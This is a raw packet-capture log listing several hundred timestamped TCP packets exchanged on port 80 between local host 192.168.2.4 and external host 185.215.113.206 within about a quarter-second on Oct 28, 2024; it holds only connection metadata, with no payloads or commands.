Oct 28, 2024 08:17:39.070096016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070107937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070141077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070141077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070171118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070182085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070192099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070204973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070226908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070226908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070255041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070283890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070296049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070307016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070318937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070329905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070331097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070343971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070346117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070355892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070388079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070388079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070424080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070436001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070446968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070460081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070472002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070482016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070482016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070485115 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070506096 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070539951 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070545912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070555925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.070589066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.108601093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.108629942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.108645916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.108659983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.108686924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.108686924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109436989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109455109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109466076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109477997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109529972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109529972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109620094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109669924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109680891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109700918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109709978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109716892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109729052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109739065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109739065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109754086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109783888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109832048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109843969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109853983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109874010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109899998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109899998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.109988928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.109998941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.110049009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.110049009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.152582884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.152596951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.152607918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.152657986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.152657986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.184611082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.184623957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.184634924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.184694052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.184694052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.184705973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.184719086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.184730053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.184741974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.184752941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.184766054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.184766054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.184798956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186271906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186361074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186371088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186381102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186392069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186393976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186405897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186420918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186420918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186436892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186590910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186603069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186614990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186655045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186655045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186702967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186713934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186724901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186736107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186748028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186764956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186764956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186856985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186871052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186882019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186893940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.186896086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186896086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186923981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.186958075 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187004089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187016964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187026978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187047958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187052011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187052011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187062025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187072039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187098026 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187110901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187213898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187259912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187264919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187275887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187309027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187309027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187335014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187350035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187357903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187364101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187369108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187433958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187433958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187541008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187552929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187563896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187592030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187592030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187622070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187674999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187686920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187697887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187731028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187731028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187827110 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187839031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187850952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187861919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187866926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187866926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.187871933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.187891006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188045025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188467026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188515902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188535929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188539982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188556910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188566923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188579082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188580036 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188591003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188611031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188611984 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188626051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188647985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188662052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188664913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188692093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188694000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188694000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188704014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188730001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188754082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188790083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188801050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188812017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188842058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188842058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188859940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188875914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188886881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.188926935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188926935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.188999891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189011097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189023972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189040899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189069986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189069986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189542055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189553976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189565897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189578056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189589024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189599991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189606905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189606905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189620018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189630985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189641953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189651966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189651966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189654112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189702988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189702988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.189970970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189982891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.189994097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.190006018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.190022945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.190025091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.190037012 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.190042019 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.190048933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.190069914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.190083981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.190094948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.190109968 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.190109968 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.190129995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.191004038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.228317022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.228329897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.228342056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.228384972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.228406906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.231595039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231606007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231625080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231637001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231648922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231659889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231671095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.231671095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.231672049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231683969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231686115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.231697083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231708050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.231739044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.231739044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.231781960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.271100044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.271114111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.271125078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.271173000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.271224022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.271998882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.272013903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.272023916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.272059917 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.272119999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.304523945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304543018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304562092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304575920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304590940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304601908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304613113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304656029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304661989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.304666996 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.304816961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.304816961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.305850029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.305864096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.305882931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.305910110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.305934906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.305944920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.305947065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.305955887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.305996895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.305996895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.305996895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306083918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306093931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306103945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306129932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306132078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306140900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306152105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306180000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306180000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306204081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306230068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306251049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306487083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306499004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306509972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306540966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306550026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306562901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306574106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306586027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306588888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306588888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306602955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306652069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306660891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306673050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306684017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306695938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306708097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306727886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306727886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306751966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306757927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306771040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306782007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.306829929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.306829929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307063103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307111025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307123899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307178974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307188988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307200909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307212114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307224035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307251930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307251930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307251930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307261944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307271957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307272911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307285070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307297945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307326078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307326078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307337999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307853937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307867050 CET	80	49766	185.215.113.206	192.168.2.4
